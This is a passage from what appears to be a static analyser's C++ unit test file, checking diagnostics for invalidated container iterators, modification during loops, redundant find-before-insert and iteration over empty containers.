dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto 